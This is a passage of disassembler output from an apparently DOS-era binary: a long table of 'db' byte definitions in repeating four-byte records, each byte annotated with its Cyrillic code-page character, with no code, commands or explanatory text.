		db  13h	;  
		db 0C1h	; а
		db  62h	; b
		db    9	;  
		db    5	;  
		db 0C2h	; б
		db  64h	; d
		db    0	;  
		db    1	;  
		db 0C2h	; б
		db  64h	; d
		db    0	;  
		db  0Bh	;  
		db 0C2h	; б
		db  64h	; d
		db    0	;  
		db  6Fh	; o
		db 0C2h	; б
		db  69h	; i
		db 0E0h	; Ю
		db    1	;  
		db 0C2h	; б
		db  69h	; i
		db 0E3h	; Ц
		db  14h	;  
		db 0C2h	; б
		db  6Ah	; j
		db  8Fh	; ▐
		db  42h	; B
		db 0C2h	; б
		db  6Dh	; m
		db    6	;  
		db  42h	; B
		db 0C2h	; б
		db  6Dh	; m
		db    9	;  
		db  63h	; c
		db 0C2h	; б
		db  70h	; p
		db  62h	; b
		db 0D8h	; ь
		db 0C2h	; б
		db  71h	; q
		db  3Bh	; ;
		db  40h	; @
		db 0C2h	; б
		db  75h	; u
		db  9Dh	; ²
		db    4	;  
		db 0C2h	; б
		db  77h	; w
		db  80h	; ─
		db  41h	; A
		db 0C2h	; б
		db  77h	; w
		db  80h	; ─
		db  42h	; B
		db 0C2h	; б
		db  77h	; w
		db 0C0h	; ю
		db  22h	; "
		db 0C2h	; б
		db  78h	; x
		db  0Ch	;  
		db  60h	; `
		db 0C2h	; б
		db  78h	; x
		db  7Eh	; ~
		db    2	;  
		db 0C2h	; б
		db  7Bh	; {
		db  2Dh	; -
		db  61h	; a
		db 0C2h	; б
		db  80h	; ─
		db  82h	; ┌
		db 0FAh	; З
		db 0C2h	; б
		db  80h	; ─
		db 0ABh	; ╚
		db  64h	; d
		db 0C2h	; б
		db  80h	; ─
		db 0ABh	; ╚
		db  65h	; e
		db 0C2h	; б
		db  80h	; ─
		db 0ABh	; ╚
		db  63h	; c
		db 0C2h	; б
		db  80h	; ─
		db 0FDh	; Щ
		db    1	;  
		db 0C2h	; б
		db  85h	; ┘
		db  3Ah	; :
		db  83h	; ┐
		db 0C2h	; б
		db  86h	; ├
		db    0	;  
		db  0Ch	;  
		db 0C2h	; б
		db  86h	; ├
		db    0	;  
		db  43h	; C
		db 0C2h	; б
		db  87h	; ┤
		db  0Dh	;  
		db    3	;  
		db 0C2h	; б
		db  8Ah	; ┼
		db 0F0h	; П
		db  0Bh	;  
		db 0C2h	; б
		db  8Fh	; ▐
		db 0A1h	; ║
		db  6Bh	; k
		db 0C2h	; б
		db  8Fh	; ▐
		db 0A3h	; ё
		db  19h	;  
		db 0C2h	; б
		db  8Fh	; ▐
		db 0A3h	; ё
		db  52h	; R
		db 0C2h	; б
		db  94h	; ■
		db    1	;  
		db  0Ah	;  
		db 0C2h	; б
		db  94h	; ■
		db    8	;  
		db  0Ah	;  
		db 0C2h	; б
		db  95h	; ∙
		db    0	;  
		db  9Dh	; ²
		db 0C2h	; б
		db  95h	; ∙
		db 0A0h	; ═
		db    1	;  
		db 0C2h	; б
		db  97h	; ≈
		db 0BEh	; Ў
		db  47h	; G
		db 0C2h	; б
		db  97h	; ≈
		db    2	;  
		db  16h	;  
		db 0C2h	; б
		db  97h	; ≈
		db    2	;  
		db  4Dh	; M
		db 0C2h	; б
		db  97h	; ≈
		db 0E0h	; Ю
		db    7	;  
		db 0C2h	; б
		db  97h	; ≈
		db 0E4h	; Д
		db    2	;  
		db 0C2h	; б
		db  97h	; ≈
		db 0E4h	; Д
		db  32h	; 2
		db 0C2h	; б
		db  97h	; ≈
		db 0FDh	; Щ
		db  12h	;  
		db 0C2h	; б
		db  98h	; ≤
		db  41h	; A
		db 0DEh	; ч
		db 0C2h	; б
		db  99h	; ≥
		db    0	;  
		db  12h	;  
		db 0C2h	; б
		db  99h	; ≥
		db    0	;  
		db  33h	; 3
		db 0C2h	; б
		db  99h	; ≥
		db    1	;  
		db  0Ah	;  
		db 0C2h	; б
		db  9Ah	;  
		db  10h	;  
		db  63h	; c
		db 0C2h	; б
		db  9Ah	;  
		db 0E6h	; Ф
		db  4Ah	; J
		db 0C2h	; б
		db  9Eh	; ·
		db  85h	; ┘
		db    1	;  
		db 0C2h	; б
		db  9Eh	; ·
		db 0A0h	; ═
		db  0Ah	;  
		db 0C2h	; б
		db  9Eh	; ·
		db 0BFh	; ©
		db 0FEh	; Ч
		db 0C2h	; б
		db  9Eh	; ·
		db 0E6h	; Ф
		db  35h	; 5
		db 0C2h	; б
		db  9Eh	; ·
		db 0E6h	; Ф
		db  36h	; 6
		db 0C2h	; б
		db  9Eh	; ·
		db  60h	; `
		db  43h	; C
		db 0C2h	; б
		db  9Eh	; ·
		db  61h	; a
		db  43h	; C
		db 0C2h	; б
		db  9Fh	; ÷
		db  49h	; I
		db    5	;  
		db 0C2h	; б
		db 0A2h	; ╒
		db  8Dh	; █
		db  11h	;  
		db 0C2h	; б
		db 0A2h	; ╒
		db  0Fh	;  
		db  12h	;  
		db 0C2h	; б
		db 0A2h	; ╒
		db 0A2h	; ╒
		db 0C2h	; б
		db 0C2h	; б
		db 0A3h	; ё
		db 0FCh	; Э
		db    5	;  
		db 0C2h	; б
		db 0A5h	; ╔
		db  5Eh	; ^
		db    1	;  
		db 0C2h	; б
		db 0A5h	; ╔
		db  5Eh	; ^
		db    5	;  
		db 0C2h	; б
		db 0A8h	; ╗
		db    4	;  
		db 0DCh	; э
		db 0C2h	; б
		db 0A8h	; ╗
		db    8	;  
		db 0DCh	; э
		db 0C2h	; б
		db 0AAh	; ╙
		db    1	;  
		db    6	;  
		db 0C2h	; б
		db 0AAh	; ╙
		db    1	;  
		db    7	;  
		db 0C2h	; б
		db 0AAh	; ╙
		db    1	;  
		db  63h	; c
		db 0C2h	; б
		db 0AFh	; ╞
		db  73h	; s
		db  0Eh	;  
		db 0C2h	; б
		db 0B0h	; ╟
		db 0E0h	; Ю
		db    2	;  
		db 0C2h	; б
		db 0B1h	; ╠
		db 0A0h	; ═
		db  22h	; "
		db 0C2h	; б
		db 0B1h	; ╠
		db 0AAh	; ╙
		db    2	;  
		db 0C2h	; б
		db 0B1h	; ╠
		db 0AAh	; ╙
		db  22h	; "
		db 0C2h	; б
		db 0B1h	; ╠
		db 0D2h	; р
		db 0D2h	; р
		db 0C2h	; б
		db 0B1h	; ╠
		db 0D2h	; р
		db 0D3h	; с
		db 0C2h	; б
		db 0B3h	; Ё
		db    1	;  
		db  64h	; d
		db 0C2h	; б
		db 0B3h	; Ё
		db    1	;  
		db  65h	; e
		db 0C2h	; б
		db  12h	;  
		db 0E0h	; Ю
		db    1	;  
		db 0C2h	; б
		db  12h	;  
		db 0E0h	; Ю
		db 0A2h	; ╒
		db 0C2h	; б
		db 0B7h	; Ї
		db  70h	; p
		db  82h	; ┌
		db 0C2h	; б
		db 0B7h	; Ї
		db  70h	; p
		db  26h	; &
		db 0C2h	; б
		db 0B7h	; Ї
		db  70h	; p
		db  46h	; F
		db 0C2h	; б
		db 0B7h	; Ї
		db  80h	; ─
		db  23h	; #
		db 0C2h	; б
		db 0B7h	; Ї
		db  80h	; ─
		db  24h	; $
		db 0C2h	; б
		db 0B7h	; Ї
		db 0DAh	; з
		db    1	;  
		db 0C2h	; б
		db 0B7h	; Ї
		db 0DAh	; з
		db  0Bh	;  
		db 0C2h	; б
		db 0B7h	; Ї
		db  31h	; 1
		db    2	;  
		db 0C2h	; б
		db 0B8h	; ╦
		db    0	;  
		db    2	;  
		db 0C2h	; б
		db 0B8h	; ╦
		db    0	;  
		db    8	;  
		db 0C2h	; б
		db 0BCh	; ╪
		db  67h	; g
		db    3	;  
		db 0C2h	; б
		db  13h	;  
		db  98h	; ≤
		db    2	;  
		db 0C2h	; б
		db 0C0h	; ю
		db 0BBh	; ╩
		db  84h	; └
		db 0C2h	; б
		db 0C0h	; ю
		db  16h	;  
		db  21h	; !
		db 0C2h	; б
		db 0C5h	; е
		db  64h	; d
		db  17h	;  
		db 0C2h	; б
		db 0C5h	; е
		db  51h	; Q
		db    4	;  
		db 0C2h	; б
		db    2	;  
		db    0	;  
		db    2	;  
		db 0C2h	; б
		db    2	;  
		db    0	;  
		db  1Eh	;  
		db 0C2h	; б
		db    2	;  
		db    0	;  
		db  3Ch	; <
		db 0C2h	; б
		db    2	;  
		db 0E6h	; Ф
		db 0E6h	; Ф
		db 0C2h	; б
		db    2	;  
		db 0E6h	; Ф
		db 0E7h	; Г
		db 0C2h	; б
		db  14h	;  
		db    0	;  
		db  6Fh	; o
		db 0C2h	; б
		db  14h	;  
		db    0	;  
		db  72h	; r
		db 0C2h	; б
		db  14h	;  
		db    8	;  
		db    1	;  
		db 0C2h	; б
		db  14h	;  
		db    8	;  
		db    4	;  
		db 0C2h	; б
		db 0CCh	; л
		db  98h	; ≤
		db  22h	; "
		db 0C2h	; б
		db 0CCh	; л
		db  9Fh	; ÷
		db    1	;  
		db 0C2h	; б
		db 0CDh	; м
		db 0ACh	; ╛
		db 0F2h	; Р
		db 0C2h	; б
		db 0CFh	; о
		db    0	;  
		db    1	;  
		db 0C2h	; б
		db 0CFh	; о
		db    0	;  
		db  81h	; │
		db 0C2h	; б
		db 0CFh	; о
		db    6	;  
		db  1Eh	;  
		db 0C2h	; б
		db  15h	;  
		db  4Ah	; J
		db  22h	; "
		db 0C2h	; б
		db 0D5h	; у
		db  40h	; @
		db  21h	; !
		db 0C2h	; б
		db 0D5h	; у
		db  4Ah	; J
		db    1	;  
		db 0C2h	; б
		db 0D7h	; в
		db 0E2h	; Б
		db  3Bh	; ;
		db 0C2h	; б
		db 0D8h	; ь
		db  3Ch	; <
		db    2	;  
		db 0C2h	; б
		db 0DBh	; ш
		db 0E3h	; Ц
		db    2	;  
		db 0C2h	; б
		db  16h	;  
		db 0C2h	; б
		db  0Eh	;  
		db 0C2h	; б
		db  16h	;  
		db 0C2h	; б
		db  12h	;  
		db 0C2h	; б
		db  16h	;  
		db 0C2h	; б
		db  13h	;  
		db 0C2h	; б
		db 0DDh	; щ
		db  63h	; c
		db 0D3h	; с
		db 0C2h	; б
		db 0E0h	; Ю
		db  30h	; 0
		db    1	;  
		db 0C2h	; б
		db 0E1h	; А
		db  46h	; F
		db  53h	; S
		db 0C2h	; б
		db 0E1h	; А
		db  46h	; F
		db  59h	; Y
		db 0C2h	; б
		db 0E2h	; Б
		db  80h	; ─
		db    1	;  
		db 0C2h	; б
		db 0E2h	; Б
		db  41h	; A
		db    4	;  
		db 0C2h	; б
		db 0E4h	; Д
		db    1	;  
		db    1	;  
		db 0C2h	; б
		db 0E4h	; Д
		db    2	;  
		db    1	;  
		db 0C2h	; б
		db 0E4h	; Д
		db    2	;  
		db  23h	; #
		db 0C2h	; б
		db  17h	;  
		db  88h	; ┬
		db    2	;  
		db 0C2h	; б
		db  17h	;  
		db  88h	; ┬
		db    8	;  
		db 0C2h	; б
		db 0E6h	; Ф
		db  39h	; 9
		db  0Bh	;  
		db 0C2h	; б
		db 0E7h	; Г
		db  28h	; (
		db  18h	;  
		db 0C2h	; б
		db 0E7h	; Г
		db  2Ah	; *
		db  52h	; R
		db 0C2h	; б
		db 0E7h	; Г
		db  3Eh	; >
		db    3	;  
		db 0C2h	; б
		db 0EEh	; Н
		db  30h	; 0
		db    2	;  
		db 0C2h	; б
		db 0EEh	; Н
		db  30h	; 0
		db    3	;  
		db 0C2h	; б
		db 0EFh	; О
		db  86h	; ├
		db  54h	; T
		db 0C2h	; б
		db  18h	;  
		db 0C1h	; а
		db  22h	; "
		db 0C2h	; б
		db  18h	;  
		db 0C4h	; д
		db  4Ah	; J
		db 0C2h	; б
		db  18h	;  
		db 0C4h	; д
		db  4Dh	; M
		db 0C2h	; б
		db 0F3h	; С
		db  9Ah	;  
		db  3Eh	; >
		db 0C2h	; б
		db 0F5h	; У
		db  65h	; e
		db    1	;  
		db 0C2h	; б
		db 0F6h	; Ж
		db  60h	; `
		db  3Bh	; ;
		db 0C2h	; б
		db 0F7h	; В
		db 0A0h	; ═
		db    1	;  
		db 0C2h	; б
		db 0F7h	; В
		db 0A0h	; ═
		db    8	;  
		db 0C2h	; б
		db 0F7h	; В
		db  2Fh	; /
		db  2Fh	; /
		db 0C2h	; б
		db 0F7h	; В
		db  40h	; @
		db    1	;  
		db 0C2h	; б
		db 0F7h	; В
		db  40h	; @
		db    2	;  
		db 0C2h	; б
		db  19h	;  
		db    0	;  
		db  7Dh	; }
		db 0C2h	; б
		db  19h	;  
		db  0Fh	;  
		db  0Bh	;  
		db 0C2h	; б
		db  19h	;  
		db    2	;  
		db  82h	; ┌
		db 0C2h	; б
		db 0FAh	; З
		db 0F9h	; Ы
		db  0Eh	;  
		db 0C2h	; б
		db 0FBh	; Ш
		db 0B6h	; І
		db  3Bh	; ;
		db 0C2h	; б
		db    3	;  
		db 0BEh	; Ў
		db    1	;  
		db 0C2h	; б
		db  26h	; &
		db  83h	; ┐
		db  12h	;  
		db 0C2h	; б
		db  26h	; &
		db  83h	; ┐
		db    3	;  
		db 0C2h	; б
		db  27h	; '
		db 0DAh	; з
		db    2	;  
		db 0C2h	; б
		db  27h	; '
		db 0DBh	; ш
		db    2	;  
		db 0C2h	; б
		db  29h	; )
		db  3Ch	; <
		db  0Ah	;  
		db 0C2h	; б
		db  29h	; )
		db  3Ch	; <
		db  10h	;  
		db 0C2h	; б
		db  2Dh	; -
		db 0C5h	; е
		db  64h	; d
		db 0C2h	; б
		db  2Eh	; .
		db    8	;  
		db    2	;  
		db 0C2h	; б
		db  2Eh	; .
		db    8	;  
		db    3	;  
		db 0C2h	; б
		db  33h	; 3
		db 0EEh	; Н
		db    2	;  
		db 0C2h	; б
		db  33h	; 3
		db    3	;  
		db  31h	; 1
		db 0C2h	; б
		db  34h	; 4
		db    1	;  
		db  0Ah	;  
		db 0C2h	; б
		db  34h	; 4
		db  0Ah	;  
		db  79h	; y
		db 0C2h	; б
		db  34h	; 4
		db 0ACh	; ╛
		db  12h	;  
		db 0C2h	; б
		db  34h	; 4
		db 0EDh	; М
		db 0F2h	; Р
		db 0C2h	; б
		db  37h	; 7
		db 0DFh	; ъ
		db 0F0h	; П
		db 0C2h	; б
		db  39h	; 9
		db  89h	; ┴
		db  72h	; r
		db 0C2h	; б
		db  39h	; 9
		db 0C6h	; ф
		db  0Dh	;  
		db 0C2h	; б
		db  3Bh	; ;
		db 0BCh	; ╪
		db  11h	;  
		db 0C2h	; б
		db    6	;  
		db  80h	; ─
		db    3	;  
		db 0C2h	; б
		db    6	;  
		db  80h	; ─
		db    4	;  
		db 0C2h	; б
		db    6	;  
		db  4Fh	; O
		db 0A2h	; ╒
		db 0C2h	; б
		db    6	;  
		db  4Fh	; O
		db 0A3h	; ё
		db 0C2h	; б
		db  40h	; @
		db  0Fh	;  
		db    1	;  
		db 0C2h	; б
		db  41h	; A
		db    3	;  
		db  14h	;  
		db 0C2h	; б
		db  41h	; A
		db    3	;  
		db  15h	;  
		db 0C2h	; б
		db  43h	; C
		db    2	;  
		db  6Dh	; m
		db 0C2h	; б
		db  43h	; C
		db    2	;  
		db  61h	; a
		db 0C2h	; б
		db  43h	; C
		db    2	;  
		db  62h	; b
		db 0C2h	; б
		db  43h	; C
		db    7	;  
		db    1	;  
		db 0C2h	; б
		db  43h	; C
		db  51h	; Q
		db  7Ah	; z
		db 0C2h	; б
		db  43h	; C
		db  51h	; Q
		db  40h	; @
		db 0C2h	; б
		db  45h	; E
		db    1	;  
		db  42h	; B
		db 0C2h	; б
		db  45h	; E
		db    1	;  
		db  43h	; C
		db 0C2h	; б
		db    7	;  
		db    1	;  
		db  13h	;  
		db 0C2h	; б
		db    7	;  
		db  0Fh	;  
		db  42h	; B
		db 0C2h	; б
		db  48h	; H
		db  17h	;  
		db 0E4h	; Д
		db 0C2h	; б
		db  48h	; H
		db  29h	; )
		db 0AAh	; ╙
		db 0C2h	; б
		db  48h	; H
		db  29h	; )
		db 0ABh	; ╚
		db 0C2h	; б
		db  48h	; H
		db    6	;  
		db  33h	; 3
		db 0C2h	; б
		db  48h	; H
		db    6	;  
		db  34h	; 4
		db 0C2h	; б
		db  49h	; I
		db  56h	; V
		db  0Eh	;  
		db 0C2h	; б
		db  49h	; I
		db  56h	; V
		db  0Fh	;  
		db 0C2h	; б
		db  4Dh	; M
		db  74h	; t
		db    1	;  
		db 0C2h	; б
		db  4Dh	; M
		db  74h	; t
		db  7Ch	; |
		db 0C2h	; б
		db  4Dh	; M
		db  92h	; ▓
		db  81h	; │
		db 0C2h	; б
		db  4Dh	; M
		db  92h	; ▓
		db    6	;  
		db 0C2h	; б
		db  4Fh	; O
		db  45h	; E
		db  81h	; │
		db 0C2h	; б
		db  4Fh	; O
		db  45h	; E
		db  83h	; ┐
		db 0C2h	; б
		db    8	;  
		db 0C2h	; б
		db  47h	; G
		db 0C2h	; б
		db    8	;  
		db    8	;  
		db 0D7h	; в
		db 0C2h	; б
		db  51h	; Q
		db 0E3h	; Ц
		db 0E2h	; Б
		db 0C2h	; б
		db  54h	; T
		db  17h	;  
		db  7Dh	; }
		db 0C2h	; б
		db  54h	; T
		db 0F8h	; Ь
		db  11h	;  
		db 0C2h	; б
		db  55h	; U
		db  77h	; w
		db    1	;  
		db 0C2h	; б
		db  57h	; W
		db    0	;  
		db    8	;  
		db 0C2h	; б
		db  57h	; W
		db    0	;  
		db    9	;  
		db 0C2h	; б
		db  57h	; W
		db  4Ah	; J
		db    5	;  
		db 0C2h	; б
		db  59h	; Y
		db 0CEh	; н
		db  0Ah	;  
		db 0C2h	; б
		db  59h	; Y
		db 0CEh	; н
		db    9	;  
		db 0C2h	; б
		db    9	;  
		db  7Fh	; 
		db  14h	;  
		db 0C2h	; б
		db  5Ah	; Z
		db    1	;  
		db    5	;  
		db 0C2h	; б
		db  5Bh	; [
		db  4Dh	; M
		db 0C1h	; а
		db 0C2h	; б
		db  5Bh	; [
		db  4Dh	; M
		db 0C2h	; б
		db 0C2h	; б
		db  5Dh	; ]
		db 0BEh	; Ў
		db  7Bh	; {
		db 0C2h	; б
		db  5Dh	; ]
		db 0BEh	; Ў
		db  84h	; └
		db 0C2h	; б
		db  5Eh	; ^
		db 0D6h	; ж
		db    4	;  
		db 0C2h	; б
		db  5Eh	; ^
		db  1Eh	;  
		db  32h	; 2
		db 0C2h	; б
		db  5Fh	; _
		db  68h	; h
		db    1	;  
		db 0C2h	; б
		db  61h	; a
		db  6Dh	; m
		db    1	;  
		db 0C2h	; б
		db  61h	; a
		db 0C8h	; х
		db  14h	;  
		db 0C2h	; б
		db  61h	; a
		db    3	;  
		db    1	;  
		db 0C2h	; б
		db  62h	; b
		db    0	;  
		db    1	;  
		db 0C2h	; б
		db  62h	; b
		db  74h	; t
		db    1	;  
		db 0C2h	; б
		db  62h	; b
		db  13h	;  
		db    1	;  
		db 0C2h	; б
		db  62h	; b
		db  41h	; A
		db 0A9h	; ╘
		db 0C2h	; б
		db  62h	; b
		db  41h	; A
		db  41h	; A
		db 0C2h	; б
		db  62h	; b
		db  41h	; A
		db  45h	; E
		db 0C2h	; б
		db  62h	; b
		db  55h	; U
		db    7	;  
		db 0C3h	; ц
		db  0Ah	;  
		db  84h	; └
		db  81h	; │
		db 0C3h	; ц
		db  0Ah	;  
		db  84h	; └
		db  43h	; C
		db 0C3h	; ц
		db  65h	; e
		db  95h	; ∙
		db    5	;  
		db 0C3h	; ц
		db  65h	; e
		db 0BEh	; Ў
		db  7Ch	; |
		db 0C3h	; ц
		db  67h	; g
		db 0D4h	; т
		db 0E8h	; Х
		db 0C3h	; ц
		db  6Eh	; n
		db  40h	; @
		db  0Ah	;  
		db 0C3h	; ц
		db  6Eh	; n
		db  40h	; @
		db  0Bh	;  
		db 0C3h	; ц
		db  70h	; p
		db  47h	; G
		db  96h	; √
		db 0C3h	; ц
		db  70h	; p
		db  47h	; G
		db 0C8h	; х
		db 0C3h	; ц
		db  71h	; q
		db  90h	; ░
		db 0C2h	; б
		db 0C3h	; ц
		db  71h	; q
		db  90h	; ░
		db 0E9h	; И
		db 0C3h	; ц
		db  72h	; r
		db  40h	; @
		db 0C1h	; а
		db 0C3h	; ц
		db  75h	; u
		db  0Eh	;  
		db  0Eh	;  
		db 0C3h	; ц
		db  79h	; y
		db    1	;  
		db  22h	; "
		db 0C3h	; ц
		db  7Eh	; ~
		db 0C5h	; е
		db    9	;  
		db 0C3h	; ц
		db  80h	; ─
		db  40h	; @
		db    3	;  
		db 0C3h	; ц
		db  81h	; │
		db  0Ch	;  
		db  4Ah	; J
		db 0C3h	; ц
		db  81h	; │
		db  0Ch	;  
		db  52h	; R
		db 0C3h	; ц
		db  81h	; │
		db    2	;  
		db  61h	; a
		db 0C3h	; ц
		db  0Dh	;  
		db  0Ah	;  
		db 0E2h	; Б
		db 0C3h	; ц
		db  82h	; ┌
		db 0E0h	; Ю
		db  12h	;  
		db 0C3h	; ц
		db  84h	; └
		db    0	;  
		db  84h	; └
		db 0C3h	; ц
		db  84h	; └
		db    0	;  
		db 0C1h	; а
		db 0C3h	; ц
		db  85h	; ┘
		db    0	;  
		db    8	;  
		db 0C3h	; ц
		db  88h	; ┬
		db 0FAh	; З
		db 0C8h	; х
		db 0C3h	; ц
		db  88h	; ┬
		db 0FAh	; З
		db 0C9h	; и
		db 0C3h	; ц
		db  0Eh	;  
		db  82h	; ┌
		db 0DCh	; э
		db 0C3h	; ц
		db  0Eh	;  
		db  85h	; ┘
		db 0AAh	; ╙
		db 0C3h	; ц
		db  0Eh	;  
		db  9Bh	; ⌡
		db  18h	;  
		db 0C3h	; ц
		db  0Eh	;  
		db  9Bh	; ⌡
		db    4	;  
		db 0C3h	; ц
		db  8Dh	; █
		db  38h	; 8
		db    5	;  
		db 0C3h	; ц
		db  8Dh	; █
		db  48h	; H
		db  82h	; ┌
		db 0C3h	; ц
		db  8Fh	; ▐
		db  6Ch	; l
		db    2	;  
		db 0C3h	; ц
		db  8Fh	; ▐
		db  6Dh	; m
		db    2	;  
		db 0C3h	; ц
		db  92h	; ▓
		db  64h	; d
		db    5	;  
		db 0C3h	; ц
		db  92h	; ▓
		db  80h	; ─
		db  3Ch	; <
		db 0C3h	; ц
		db  92h	; ▓
		db  84h	; └
		db  3Bh	; ;
		db 0C3h	; ц
		db  92h	; ▓
		db  63h	; c
		db    4	;  
		db 0C3h	; ц
		db  96h	; √
		db  60h	; `
		db  22h	; "
		db 0C3h	; ц
		db  9Ah	;  
		db 0DFh	; ъ
		db    1	;  
		db 0C3h	; ц
		db  9Ah	;  
		db 0EDh	; М
		db 0E4h	; Д
		db 0C3h	; ц
		db  9Bh	; ⌡
		db    1	;  
		db    3	;  
		db 0C3h	; ц
		db  9Bh	; ⌡
		db    1	;  
		db    4	;  
		db 0C3h	; ц
		db  9Eh	; ·
		db 0A0h	; ═
		db    2	;  
		db 0C3h	; ц
		db  9Fh	; ÷
		db  42h	; B
		db  21h	; !
		db 0C3h	; ц
		db 0A1h	; ║
		db    0	;  
		db  87h	; ┤
		db 0C3h	; ц
		db 0A1h	; ║
		db    3	;  
		db  16h	;  
		db 0C3h	; ц
		db 0A3h	; ё
		db  8Ch	; ▄
		db  56h	; V
		db 0C3h	; ц
		db 0A6h	; і
		db  0Dh	;  
		db  84h	; └
		db 0C3h	; ц
		db 0A6h	; і
		db  0Dh	;  
		db    4	;  
		db 0C3h	; ц
		db 0A6h	; і
		db  3Ah	; :
		db 0CAh	; й
		db 0C3h	; ц
		db 0A8h	; ╗
		db    1	;  
		db    2	;  
		db 0C3h	; ц
		db 0A8h	; ╗
		db    1	;  
		db    4	;  
		db 0C3h	; ц
		db  11h	;  
		db  12h	;  
		db  82h	; ┌
		db 0C3h	; ц
		db 0AAh	; ╙
		db    0	;  
		db    2	;  
		db 0C3h	; ц
		db 0AAh	; ╙
		db    2	;  
		db    1	;  
		db 0C3h	; ц
		db 0B2h	; ╡
		db  88h	; ┬
		db  17h	;  
		db 0C3h	; ц
		db 0B2h	; ╡
		db  40h	; @
		db  38h	; 8
		db 0C3h	; ц
		db 0B4h	; Є
		db 0D2h	; р
		db  16h	;  
		db 0C3h	; ц
		db 0B4h	; Є
		db 0D2h	; р
		db  2Bh	; +
		db 0C3h	; ц
		db 0B6h	; І
		db  72h	; r
		db  0Ch	;  
		db 0C3h	; ц
		db 0B6h	; І
		db  60h	; `
		db  1Ch	;  
		db 0C3h	; ц
		db 0B6h	; І
		db  60h	; `
		db  1Dh	;  
		db 0C3h	; ц
		db 0B6h	; І
		db  60h	; `
		db  3Ch	; <
		db 0C3h	; ц
		db 0B6h	; І
		db  60h	; `
		db  3Dh	; =
		db 0C3h	; ц
		db 0B8h	; ╦
		db  8Fh	; ▐
		db 0F2h	; Р
		db 0C3h	; ц
		db 0B8h	; ╦
		db  2Ch	; ,
		db  12h	;  
		db 0C3h	; ц
		db 0B8h	; ╦
		db  2Ch	; ,
		db  22h	; "
		db 0C3h	; ц
		db 0BBh	; ╩
		db 0F5h	; У
		db  33h	; 3
		db 0C3h	; ц
		db 0BCh	; ╪
		db  20h	;  
		db  12h	;  
		db 0C3h	; ц
		db 0BCh	; ╪
		db  20h	;  
		db    4	;  
		db 0C3h	; ц
		db 0BDh	; Ґ
		db    0	;  
		db  27h	; '
		db 0C3h	; ц
		db 0BDh	; Ґ
		db    1	;  
		db  27h	; '
		db 0C3h	; ц
		db 0C7h	; г
		db    0	;  
		db  79h	; y
		db 0C3h	; ц
		db 0C7h	; г
		db    0	;  
		db  7Dh	; }
		db 0C3h	; ц
		db  14h	;  
		db 0E0h	; Ю
		db  61h	; a
		db 0C3h	; ц
		db  14h	;  
		db 0E0h	; Ю
		db  62h	; b
		db 0C3h	; ц
		db  14h	;  
		db 0E1h	; А
		db  22h	; "
		db 0C3h	; ц
		db 0CEh	; н
		db  42h	; B
		db  92h	; ▓
		db 0C3h	; ц
		db  15h	;  
		db 0FFh	;  
		db    8	;  
		db 0C3h	; ц
		db 0D3h	; с
		db 0D3h	; с
		db  22h	; "
		db 0C3h	; ц
		db 0D7h	; в
		db  1Eh	;  
		db  42h	; B
		db 0C3h	; ц
		db 0DCh	; э
		db 0EEh	; Н
		db  14h	;  
		db 0C3h	; ц
		db 0DCh	; э
		db  3Bh	; ;
		db    2	;  
		db 0C3h	; ц
		db 0DCh	; э
		db  3Bh	; ;
		db    6	;  
		db 0C3h	; ц
		db 0DEh	; ч
		db    0	;  
		db    1	;  
		db 0C3h	; ц
		db 0DEh	; ч
		db 0D2h	; р
		db  5Dh	; ]
		db 0C3h	; ц
		db 0DFh	; ъ
		db  22h	; "
		db  0Ah	;  
		db 0C3h	; ц
		db 0DFh	; ъ
		db  22h	; "
		db  0Ch	;  
		db 0C3h	; ц
		db 0E0h	; Ю
		db 0FFh	;  
		db    2	;  
		db 0C3h	; ц
		db 0E0h	; Ю
		db 0FFh	;  
		db    6	;  
		db 0C3h	; ц
		db 0E0h	; Ю
		db 0FFh	;  
		db  5Eh	; ^
		db 0C3h	; ц
		db 0E6h	; Ф
		db  96h	; √
		db  46h	; F
		db 0C3h	; ц
		db 0E6h	; Ф
		db  96h	; √
		db  56h	; V
		db 0C3h	; ц
		db 0E8h	; Х
		db    0	;  
		db  9Ah	;  
		db 0C3h	; ц
		db 0E8h	; Х
		db  40h	; @
		db    4	;  
		db 0C3h	; ц
		db 0E9h	; И
		db  81h	; │
		db    1	;  
		db 0C3h	; ц
		db 0E9h	; И
		db  81h	; │
		db    2	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db 0E0h	; Ю
		db    1	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db 0F0h	; П
		db    1	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db    3	;  
		db  11h	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db    3	;  
		db  12h	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db    3	;  
		db  13h	;  
		db 0C3h	; ц
		db 0EEh	; Н
		db    3	;  
		db  14h	;  
		db 0C3h	; ц
		db 0F1h	; Я
		db  30h	; 0
		db  21h	; !
		db 0C3h	; ц
		db 0F2h	; Р
		db    2	;  
		db    2	;  
		db 0C3h	; ц
		db 0F2h	; Р
		db    2	;  
		db    3	;  
		db 0C3h	; ц
		db  19h	;  
		db 0EEh	; Н
		db  86h	; ├
		db 0C3h	; ц
		db 0FCh	; Э
		db  80h	; ─
		db  0Bh	;  
		db 0C3h	; ц
		db 0FCh	; Э
		db  80h	; ─
		db  37h	; 7
		db 0C3h	; ц
		db  1Bh	;  
		db  4Ah	; J
		db  47h	; G
		db 0C3h	; ц
		db  1Dh	;  
		db  96h	; √
		db    3	;  
		db 0C3h	; ц
		db  1Dh	;  
		db  96h	; √
		db    4	;  
		db 0C3h	; ц
		db  1Dh	;  
		db  9Fh	; ÷
		db  0Fh	;  
		db 0C3h	; ц
		db    3	;  
		db  6Ch	; l
		db    1	;  
		db 0C3h	; ц
		db    3	;  
		db  6Ch	; l
		db    2	;  
		db 0C3h	; ц
		db    3	;  
		db  60h	; `
		db  43h	; C
		db 0C3h	; ц
		db    3	;  
		db  60h	; `
		db  44h	; D
		db 0C3h	; ц
		db  1Eh	;  
		db    0	;  
		db    1	;  
		db 0C3h	; ц
		db  1Fh	;  
		db 0BEh	; Ў
		db  1Fh	;  
		db 0C3h	; ц
		db  22h	; "
		db  85h	; ┘
		db  0Ah	;  
		db 0C3h	; ц
		db  22h	; "
		db  85h	; ┘
		db  0Bh	;  
		db 0C3h	; ц
		db  22h	; "
		db 0A8h	; ╗
		db    2	;  
		db 0C3h	; ц
		db  22h	; "
		db  20h	;  
		db  0Ah	;  
		db 0C3h	; ц
		db  26h	; &
		db  86h	; ├
		db  19h	;  
		db 0C3h	; ц
		db  26h	; &
		db  20h	;  
		db    2	;  
		db 0C3h	; ц
		db  26h	; &
		db  21h	; !
		db    2	;  
		db 0C3h	; ц
		db  28h	; (
		db    0	;  
		db 0FAh	; З
